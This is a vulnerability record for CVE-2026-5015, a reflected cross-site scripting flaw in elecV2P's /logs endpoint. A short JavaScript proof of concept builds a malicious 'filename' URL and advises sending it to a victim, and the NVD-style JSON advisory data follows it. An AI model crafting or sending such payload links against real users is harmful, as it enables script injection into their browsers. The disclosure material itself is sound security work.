CVE-2026-5015

// PoC for CVE-2026-5015 // Target: elecV2P <= 3.8.3 // Endpoint: /logs // Usage: Send a link with this payload to a victim const maliciousPayload = "<img src=x onerror=alert('CVE-2026-5015')>"; // Construct the malicious URL const targetUrl = `http://[TARGET_IP]:8001/logs?filename=${encodeURIComponent(maliciousPayload)}`; console.log(`Execute attack via: ${targetUrl}`); /* * Description: * The 'filename' parameter is reflected in the response without sanitization. * When the victim loads the URL, the JavaScript within the payload executes. */

{"cve": {"id": "CVE-2026-5015", "sourceIdentifier": "[email protected]", "published": "2026-03-28T21:17:00.633", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in elecV2 elecV2P up to 3.8.3. The impacted element is an unknown function of the file /logs of the component Endpoint. This manipulation of the argument filename causes cross site scripting. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet."}, {"lang": "es", "value": "Una vulnerabilidad fue determinada en elecV2 elecV2P hasta la versión 3.8.3. El elemento afectado es una función desconocida del archivo /logs del componente Endpoint. Esta manipulación del argumento filename causa cross-site scripting. Es posible iniciar el ataque remotamente. El exploit ha sido divulgado públicamente y puede ser utilizado. El proyecto fue informado del problema con antelación a través de un informe de incidencias, pero aún no ha respondido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/elecV2/elecV2P/", "source": "[email protected]"}, {"url": "https://github.com/elecV2/elecV2P/issues/201", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/779180", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/353900", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/353900/cti", "source": "[email protected]"}]}}